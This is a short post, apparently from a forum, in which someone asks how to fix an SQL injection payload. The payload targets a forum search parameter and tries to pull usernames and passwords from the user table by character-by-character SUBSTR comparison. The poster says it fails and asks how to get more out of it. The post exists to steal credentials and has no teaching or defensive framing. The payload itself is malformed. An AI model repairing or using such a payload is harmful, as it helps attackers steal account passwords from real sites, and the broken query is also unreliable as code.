How to modify the query to get something more than this ? 'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(concat(username, 0x3a,password) FROM user, 1,1)--+"+' . '&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest'); Doesn't work ;-(